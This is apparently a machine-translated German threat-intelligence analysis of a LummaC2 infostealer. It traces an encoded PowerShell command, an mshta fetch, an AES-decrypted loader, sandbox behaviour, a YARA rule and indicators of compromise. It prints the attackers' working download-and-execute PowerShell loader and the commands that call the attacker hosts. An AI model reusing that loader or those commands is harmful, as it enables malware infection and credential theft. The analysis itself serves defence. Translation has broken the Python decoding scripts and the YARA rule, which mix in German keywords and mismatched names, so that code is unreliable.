Verschleierte PowerShell führt zu Lumma C2 Stealer
Bevorzugen Sie Audio? Hören Sie sich Rhys' Diskussion über diese Forschung in unserem Verteidige deine Zeit Podcast Episode.
Übersicht
In den letzten Monaten haben wir einen Anstieg der Aktivitäten im Zusammenhang mit dem Infostealer LummaC2 beobachtet. Dieser Bericht befasst sich mit einem neuen Beispiel von LummaC2, das zunächst durch eine Reihe von PowerShell-Befehlen entdeckt wurde, mit denen schließlich eine Nutzlast auf den Zielendpunkt heruntergeladen und ausgeführt wurde. Unsere Analyse deckt die verschiedenen Phasen der Malware-Ausführung ab, vom anfänglichen PowerShell-Befehl bis hin zur anschließenden Entschlüsselung und Ausführung der Nutzlast, was Einblicke in die von den Bedrohungsakteuren verwendeten Taktiken, Techniken und Verfahren (TTPs) ermöglicht.
Was ist Lumma Malware?
Lumma ist eine in C (Programmiersprache) geschriebene Malware, die vertrauliche Informationen stehlen soll. Es wurde beobachtet, dass die Malware als Malware-as-a-Service (MaaS) eingesetzt wird, was in russischsprachigen Foren ab etwa 2022 beobachtet wurde. Sobald die Malware den Zielhost infiziert hat, versucht sie, Informationen vom Endpunkt zu stehlen und sie dann an den Command-and-Control-Server zu übermitteln. Weitere Informationen finden Sie hier: Lumma Malware-Familie
Beispiel-Infos
SHA256: 2468e5bb596fa4543dba2adfe8fd795073486193b77108319e073b9924709a8a - Erste Stufe

SHA256: 2caf283566656a13bf71f8ceac3c81f58a049c92a788368323b1ba25d872372e - Zweite Stufe


Beide Stufen der Malware wurden als LummaC2 Infostealer/Evader identifiziert. Wir haben auch eine hohe Entropie in einigen Abschnitten der Proben festgestellt, was auf das Vorhandensein einer Verschleierung hindeuten könnte. Keine der beiden Dateien verfügt über eine signierte Signatur, aber sie enthalten Datei-Metadaten, die auf Maskierungsversuche hindeuten. MITRE-Technik ‘Maskerade’ T1036.
Statische Analyse
Erste Stufe:
Bei der ersten Entdeckung stießen wir auf dieses Beispiel durch einen PowerShell-codierten Befehl, der versuchte, mit einer Domäne zu kommunizieren, um das LummaC2-Malwarebeispiel herunterzuladen.
"PowerShell.exe" -eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAG0AYQB0AG8ALQBjAGEAbQBwAC0AdgA0AC4AYgAtAGMAZABuAC4AbgBlAHQALwBrAGUAcwB0AHkA
Mit diesem kodierten Befehl können wir CyberChef verwenden, um die Zeichenfolge zu dekodieren. Der kodierte Befehl wurde als Base64 identifiziert. Wenn wir die folgenden Schritte ausführen, können wir ihn entschlüsseln. Nach der Entschlüsselung können wir die nächste Phase des Eindringens erkennen. Anhand der entdeckten Informationen erkennen wir ‘mshta’, gefolgt von der Domäne, dem Pfad am Ende und einem möglichen Dateinamen. https://attack.mitre.org/techniques/T1059/001/

Mshta.exe ist eine ausführbare Datei, die für die Ausführung von Microsoft HTML-Dateien, bekannt als ‘HTA’, konzipiert ist. Als legitime Microsoft Windows-Binärdatei gilt sie als LOLbin (Living off the Land Binary), was es Akteuren ermöglicht, den Prozess für bösartige Zwecke zu nutzen. Technik: T1218.005
mshta https[:]//mato-camp-v4[.]b-cdn[.]net/kesty
Sobald die Datei ‘kesty’ ausgeführt wird, wird ein zweites PowerShell-Skript ausgeführt. Dieses Skript führt eine HEX-Zeichenkette aus, die mit AES verschlüsselt ist. Der im PowerShell-Befehl gespeicherte Schlüssel ermöglicht es uns, die HEX-Zeichenkette mithilfe von Python-Code zu entschlüsseln und die nächste Phase des Eindringens zu beobachten. Ich habe die HEX-Zeichenfolge vom Befehl getrennt, um das Lesen der Ausgabe zu vereinfachen.
"powershell[.]exe" -w 1 -ep Unrestricted -nop function dhHMLxZL($zybwHU){return -split ($zybwHU -replace '..', '0x$& ')};$VojsypW = dhHMLxZL('HEX STRING HERE');$qxErp = [System.Security.Cryptography.Aes]::Create();$qxErp.Key = dhHMLxZL('6D6B584A7142515A59457441736E454C');$qxErp.IV = New-Object byte[] 16;$nkmgRbwD = $qxErp.CreateDecryptor();$KTyPFajOy = $nkmgRbwD.TransformFinalBlock($VojsypW, 0, $VojsypW.Length);$grJicbjRF = [System.Text.Encoding]::Utf8.GetString($KTyPFajOy);$nkmgRbwD.Dispose();& $grJicbjRF.Substring(0,3) $grJicbjRF.Substring(3)
Hex-Zeichenkette
B9EFAD8C773C4FE92E2E22914A07D7E3EFCBCCF45813B63684D5D0CE1F91BC8987190E70CCBAF581F2D0142BECBF89E5A6DCAED490FF701F3CDBFE12FD079F9106A8A78CFA3F65476F8A2594493A51557FBF89F4A9265945E0FF6F6160800A97AD474FC3BB569A75907866265CE08B2CCD2D88F6ADA298E5DD710D04CF157DCD58482384D7E5E3633FB0794A17559D12B9E69A84DC790B17886BF689ABBE9BF8A3DAB80E0A65157688FED50BF7490602BD78A46FEE240555CA152510BAECBFE3B9467FE0382D4DAB6A17C257A8DEC931CF0117FCE15640800861C8067AD02FD8D90EE1927BBED2B9CB1E0394A43F38959B9EBFCF9BFC489373F2C53346EE09D7AFEAA9B4D6EBF4EB1D6A6173D5D6139902FA76C080E2549DF0B07E0F41756DAEB157C64BA9F61A381E46DBBAFB86BD0B08B280D14C069343E8A58438EC99CE3E7B49993D990C131C747D9399ADB868348802CC206E62BE488D0ACC3C98B9492BB3B9F5EFC9EEBDA7E0DBDE25819C02AF7001B0C11EBDBC7FA3796EB537BB0A56ED21F4E20510EC9E9B936B8F4CFEF9275350623F3846397AE1615332790CA613CD266AF8B75162814123AD7E8A7668984E84E4F1A3DCB97DF46F2057C5B671F603140220E7A8555BB2EAC36D876FD34281BB7C48DF1614D130A5680593B7A4D9C4EF06979F0D4D170F40F140C8ABE3A7E08C249E7E793A55958CE74694417842
von Crypto.Cipher import AES
binascii einführen
def dhHMLxZL(hex_string):
return bytearray(binascii.unhexlify(hex_string))
# Hexadezimal kodierter String - Nutzlast
hex_string = ('B9EFAD8C773C4FE92E2E22914A07D7E3EFCBCCF45813B63684D5D0CE1F91BC8987190E70CCBAF581F2D0142BECBF89E5A6DCAED490FF701F3CDBFE12FD079F9106A8A78CFA3F65476F8A2594493A51557FBF89F4A9265945E0FF6F6160800A97AD474FC3BB569A75907866265CE08B2CCD2D88F6ADA298E5DD710D04CF157DCD58482384D7E5E3633FB0794A17559D12B9E69A84DC790B17886BF689ABBE9BF8A3DAB80E0A65157688FED50BF7490602BD78A46FEE240555CA152510BAECBFE3B9467FE0382D4DAB6A17C257A8DEC931CF0117FCE15640800861C8067AD02FD8D90EE1927BBED2B9CB1E0394A43F38959B9EBFCF9BFC489373F2C53346EE09D7AFEAA9B4D6EBF4EB1D6A6173D5D6139902FA76C080E2549DF0B07E0F41756DAEB157C64BA9F61A381E46DBBAFB86BD0B08B280D14C069343E8A58438EC99CE3E7B49993D990C131C747D9399ADB868348802CC206E62BE488D0ACC3C98B9492BB3B9F5EFC9EEBDA7E0DBDE25819C02AF7001B0C11EBDBC7FA3796EB537BB0A56ED21F4E20510EC9E9B936B8F4CFEF9275350623F3846397AE1615332790CA613CD266AF8B75162814123AD7E8A7668984E84E4F1A3DCB97DF46F2057C5B671F603140220E7A8555BB2EAC36D876FD34281BB7C48DF1614D130A5680593B7A4D9C4EF06979F0D4D170F40F140C8ABE3A7E08C249E7E793A55958CE746944178
# Entschlüsselungsschlüssel
key_hex = '6D6B584A7142515A59457441736E454C'
Schlüssel = dhHMLxZL(Schlüssel_hex)
# Initialisierungsvektor
iv = bytearray(16)
# Entschlüsselung der Daten
Verschlüsselung = AES.new(Schlüssel, AES.MODE_CBC, iv)
verschlüsselte_bytes = dhHMLxZL(hex_string)
decrypted_bytes = cipher.decrypt(encrypted_bytes)
decrypted_string = decrypted_bytes.decode('utf-8', errors='ignore')
print(entschlüsselte_Zeichenfolge)
In dem Befehl steht ‘dhHMLxZL(‘6D6B584A7142515A59457441736E454C’)’, den wir als Entschlüsselungsschlüssel identifiziert haben. Mithilfe eines Python-Skripts können wir diesen entschlüsseln.
Das Ergebnis ist das folgende entschlüsselte PowerShell-Skript:
iexfunction qZw($lKt, $ySk){[IO.File]::WriteAllBytes($lKt, $ySk)};function xoj($lKt){$VDFW = $env:Temp;Expand-Archive -Path $lKt -DestinationPath $VDFW;Add-Type -Assembly System.IO.Compression.FileSystem;$zipFile = [IO.Compression.ZipFile]::OpenRead($lKt);$TRJF =($zipFile.Entries | Sort-Object Name | Select-Object -First 1).Name;$xzRdS = Join-Path $VDFW $TRJF;start $xzRdS ;};function VIR($gOF){$QrS = New-Object (Aec @(3914,3937,3952,3882,3923,3937,3934,3903,3944,3941,3937,3946,3952));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$ySk = $QrS.DownloadData($gOF);return $ySk};function Aec($KUk){$wqg=3836;$LTu=$Null;foreach($ChY in $KUk){$LTu+=[char]()};return $LTu};function mjq(){$pOw = $env:Temp + '\\\\\\\\';;;$FUoqayOeHITRAQ = $pOw + 'U1.zip'; if (Test-Path -Path $FUoqayOeHITRAQ){xoj $FUoqayOeHITRAQ;}Else{ $VRplyCyUxeAYi = VIR (Aec @(3940,3952,3952,3948,3951,3894,3883,3883,3935,3933,3945,3948,3958,3941,3948,3951,3885,3882,3934,3881,3935,3936,3946,3882,3946,3937,3952,3883,3921,3885,3882,3958,3941,3948));qZw $FUoqayOeHITRAQ $VRplyCyUxeAYi;xoj $FUoqayOeHITRAQ};$oGCOSZNMJeHKTc = $pOw + 'U2.zip'; if (Test-Path -Path $oGCOSZNMJeHKTc){xoj $oGCOSZNMJeHKTc;}Else{ $MnAaDeGMvZKoV = VIR (Aec @(3940,3952,3952,3948,3951,3894,3883,3883,3935,3933,3945,3948,3958,3941,3948,3951,3885,3882,3934,3881,3935,3936,3946,3882,3946,3937,3952,3883,3921,3886,3882,3958,3941,3948));qZw $oGCOSZNMJeHKTc $MnAaDeGMvZKoV;xoj $oGCOSZNMJeHKTc};;;}mjq;\\\\x02\\\\x02
Definierte Funktionen:
- qZw: Schreibt die Byte-Daten in eine Datei.
- xoj: Expandiert ein Zip-Archiv in das temporäre Verzeichnis und führt die erste im Archiv gefundene Datei aus.
- VIR: Lädt Daten von einer angegebenen URL über TLS 1.2 herunter.
- Aec: Dekodiert ein Array von Ganzzahlen, indem es von jedem Wert 3836 subtrahiert und das Ergebnis in ein Zeichen umwandelt.
- mjq: Koordiniert das Herunterladen und Ausführen von zwei Zip-Dateien,
U1.zipundU2.zip, von bestimmten URLs. U2.zip enthält “ashampoo.exe”.
Bei der Betrachtung der definierten Funktionen haben wir zwei potenzielle Zip-Dateien festgestellt. Nach unseren Beobachtungen enthalten diese Dateien eine zusätzliche Kodierung der URLs. Anhand dieser Informationen konnten wir die URL-Arrays mit der Funktion ‘Aec’ entschlüsseln und erhielten die folgenden URLs:
- https[:]//campzips1[.]b-cdn[.]net/U1.zip
- https[:]//campzips1[.]b-cdn[.]net/U2.zip
def Aec(KUk):
wqg = 3836
LTu = ''.join([chr(ChY - wqg) für ChY in KUk])
Rückgabe LTu
# Kodierte URL-Arrays
url1_encoded = [3940, 3952, 3952, 3948, 3951, 3894, 3883, 3883, 3935, 3933, 3945, 3948, 3958, 3941, 3948, 3951, 3885, 3882, 3934, 3881, 3935, 3936, 3946, 3882, 3946, 3937, 3952, 3883, 3921, 3885, 3882, 3958, 3941, 3948]
url2_encoded = [3940, 3952, 3952, 3948, 3951, 3894, 3883, 3883, 3935, 3933, 3945, 3948, 3958, 3941, 3948, 3951, 3885, 3882, 3934, 3881, 3935, 3936, 3946, 3882, 3946, 3937, 3952, 3883, 3921, 3886, 3882, 3958, 3941, 3948]
# Entschlüsselte URLs
url1 = Aec(url1_verschlüsselt)
url2 = Aec(url2_verschlüsselt)
url1, url2
Bei der Überprüfung der URLs auf VirusTotal haben wir eine PE-Datei namens BitlockerToGO Execution identifiziert. Wir haben auch entdeckt, dass der Prozess ‘ashampoo.exe’ in der Datei ‘U2.zip’ gespeichert wurde, die wir für eine als Lumma bezeichnete Malware der zweiten Stufe halten.

Zweite Stufe:
Wenn man sich die nächste Phase der Malware ansieht, wurden einige der Domänen abgeschaltet oder der Bedrohungsakteur hat seine Aktivitäten eingestellt. Ich konnte jedoch das Beispiel ‘ashampoo.exe’ der zweiten Stufe in einer Sandbox ausführen, um eine dynamische Analyse durchzuführen, und das ist das Ergebnis
Als erstes wollte ich seine Ausführung untersuchen, um zu sehen, welche Operationen er durchführt und ob es zusätzliche Kindprozesse oder andere Dateien gibt, die abgelegt werden.

Wir haben festgestellt, dass ‘dllhost.exe’ als Kindprozess erstellt wurde. Bösartiger Code wird in ‘Bitlockertogo.exe’ eingeschleust, der dann zwei weitere Prozesse erzeugt, die schließlich ‘dllhost.exe’ erstellen. Darüber hinaus haben wir beobachtet, dass ‘dllhost.exe’ für die Befehls- und Kontrollfunktion verwendet wird, mit Verbindungen zur IP.


Darüber hinaus haben wir auch einen Versuch der Persistenz beobachtet. Es wurde beobachtet, dass der Prozess ‘mbssiy2zv5n8qjoazw144h95fv3lwq.exe’ von ‘ashampoo.exe’ > ‘bitlockertogo.exe’ abgelegt wurde, wodurch der untergeordnete Prozess ‘mbssiy2zv5n8qjoazw144h95fv3lwq.exe’ entstand. Wenn wir uns den Prozess 7 ansehen, können wir einen erfolgreichen Schreibvorgang in der Registrierung unter ‘HKEY_USERS{USER Account HERE}\Software\Microsoft\Windows\CurrentVersion\Run’ beobachten. Dies ist einer der häufigsten Punkte für Persistenz, da er dem Akteur den Zugriff auf den Zielendpunkt ermöglicht. GEHRUNG ATT&CK T1547.001

Aus Abbildung 8 geht hervor, dass ‘dllhost.exe’ als Prozess für die Befehls- und Kontrollfunktionen der Malware verwendet wird. Dllhost.exe‘ ist eine bekannte legitime Microsoft Windows-Datei, insbesondere ein COM-Surrogatprozess, der von Windows zum Laden von COM-Objekten verwendet wird.
Die Akteure nutzen diesen Prozess böswillig aus, indem sie Code in ihn einschleusen und ihn anweisen, nicht autorisierte Aktionen durchzuführen. Diese Technik ist gemeinhin als Process Injection bekannt. MITRE-Verfahren T1055.
Hier haben wir das PCAP der bösartigen Verbindung. Bei der dynamischen Analyse haben wir eine Verbindung zur IP-Adresse ‘188.68.220[.]48’ festgestellt. Wenn wir dies als Ziel festlegen, können wir die Kommunikation zwischen der Quell- und der Ziel-IP-Adresse sehen. Wir haben mehrere Intervalle der HTTP-Kommunikation mit dem C2-Zielserver beobachtet.

Bei der weiteren Analyse der PCAP-Datei aus der dynamischen Analyse stellten wir eine ‘POST’-Anforderung an ‘vamplersam[.]info’ fest, wobei die Anforderung Daten an den Endpunkt ‘/cfg’ sendet. Dies könnte auf einen Daten- oder Befehlsstrom hindeuten, der zwischen dem C2-Server und dem Zielendpunkt ausgetauscht wird. Obwohl ich die Analyse nach der Ziel-IP-Adresse filtere, ist klar, dass bei einer POST-Anforderung wahrscheinlich Befehle vom C2-Server an das Zielgerät gesendet werden, um Daten zu empfangen.
Dies funktioniert so, dass der Akteur einen Befehl wie ‘get file’ oder ‘download file’ sendet, der es ihm ermöglicht, Daten vom Zielgerät zu sammeln. Dies würde dann unter die MITRE-Technik ‘Sammlung’ und Exfiltration MITRE-Technik der Exfiltration. Ein weiterer gemeinsamer Aspekt von Lumma ist, dass es den User-Agent ‘TeslaBrowser/5.5’ verwendet. In diesem Beispiel sehen wir diesen User-Agent jedoch nicht, wenn wir die HTTP-Header untersuchen. Dies könnte daran liegen, dass der Akteur einen benutzerdefinierten Client zum Senden der Anfragen verwendet, wahrscheinlich um eine Entdeckung zu vermeiden, da er weiß, dass dieser User-Agent in früheren Beispielen verwendet wurde.

Verhaltensprozesse

MITRE ATTACK-Techniken

YARA-Regel
Regel LummaC2_Suspicious_Network_Activity {
meta:
autor = "Rhys Downing"
description = "Erkennt verdächtige wiederholte HTTP-POST-Anfragen an C2-Server von dllhost.exe"
Referenz = "Lumma C2 Infostealer"
Datum = "2024-08-11"
version = "1.1"
tlp = "WEISS"
Streicher:
// Richten Sie die spezifische HTTP-POST-Anfrage auf den Endpunkt /cfg
$post_request_1 = "POST /cfg HTTP/1.1" ascii
$post_request_2 = "POST /cfg HTTP/1.1" wide
// Ziel der Host-Kopfzeile, die die Kommunikation mit dem C2-Server anzeigt
$host_header_1 = "Host: vamplersam.info" ascii
$host_header_2 = "Host: vamplersam.info" wide
// Ziel der an der Kommunikation beteiligten IP-Adresse
$ip_Adresse = "188.68.220.48" ascii
// Den Content-Type für POST-Daten festlegen
$content_type_1 = "Inhalt-Typ: application/x-www-form-urlencoded" ascii
$content_type_2 = "Content-Type: application/x-www-form-urlencoded" wide
Zustand:
// Übereinstimmungsbedingungen für ASCII- oder Wide-Zeichenkodierung
(alle von ($post_request_1, $host_header_1, $content_type_1, $ip_address)) oder
(alle von ($post_request_2, $host_header_2, $content_type_2, $ip_address))
und
// Sicherstellen, dass der Prozess dllhost.exe ist
pe.exports("dllhost.exe")
}
Abhilfemaßnahmen
Endpunktschutz und Überwachung
- EDR-Lösungen: Bereitstellung und Konfiguration von Endpoint Detection and Response (EDR)-Lösungen zur Erkennung und Reaktion auf verdächtiges Verhalten, wie z. B. Prozessinjektion, ungewöhnliche Prozessausführung (z. B.,
dllhost.exemit Netzwerkaktivitäten) und Dateiveränderungen.
Regeln zur Reduzierung der Angriffsfläche (ASR)
- Implementieren Sie ASR-Regeln, um potenziell bösartiges Verhalten zu blockieren. Zu den wichtigsten zu berücksichtigenden Regeln gehören:
- Blockieren Sie ausführbare Inhalte von E-Mail- und Webmail-Clients.
- Erweiterte Schutzmaßnahmen gegen den Diebstahl von Zugangsdaten.
- Blockieren Sie die Ausführung von ausführbaren Dateien, sofern sie nicht ein Kriterium bezüglich der Prävalenz, des Alters oder der vertrauenswürdigen Liste erfüllen.
Indikatoren für Kompromisse
URLs:
- https[:]//mato-camp-v4.b-cdn[.]net
- http[:]//campzips1.b-cdn[.]net/U1.zip
- https[:]//campzips1.b-cdn[.]net/U2.zip
- http[:]//sulphurhsum[.]shop
- http[:]//rainbowmynsjn[.]shop
- http[:]//assumedtribsosp[.]shop
- http[:]//chippyfroggsyhz[.]shop
- http[:]//ufort[.]info
- https[:]//bitbucket[.]org/dultevupse1/zeus/downloads/108GoDll.exe
- http[:]//creepydxzoxmj[.]shop
- http[:]//boattyownerwrv[.]shop
- http[:]//vamplersam[.]info/cfg
- https[:]//sulphurhsum[.]shop/api
- http[:]//budgetttysnzm[.]shop
- http[:]//definitonizmnx[.]shop
- http[:]//empiredzmwnx[.]shop
IP-Adressen:
- 188.68.220[.]48 - Land: Russland
- 185.166.143[.]48 - Land: Russland - Aufgelöster Bereich: bitbucket[.]org
Dateinamen/Hashes:
- ashampoo.exe - SHA256: 2caf283566656a13bf71f8ceac3c81f58a049c92a788368323b1ba25d872372e
- Kesty[1] - SHA256: 2468e5bb596fa4543dba2adfe8fd795073486193b77108319e073b9924709a8a
- 108GoDll.exe - SHA256: 32db2729ef61f2a19c4c3632f0de727476b7fce0d68b5dcec8d0246042a8e398
- mbssiy2zv5n8qjoazw144h95fvv3lwq.exe – SHA256: 32db2729ef61f2a19c4c3632f0de727476b7fce0d68b5dcec8d0246042a8e398
Hören Sie sich Rhys' Diskussion über diese Forschung in unserem Verteidige deine Zeit Podcast Episode.


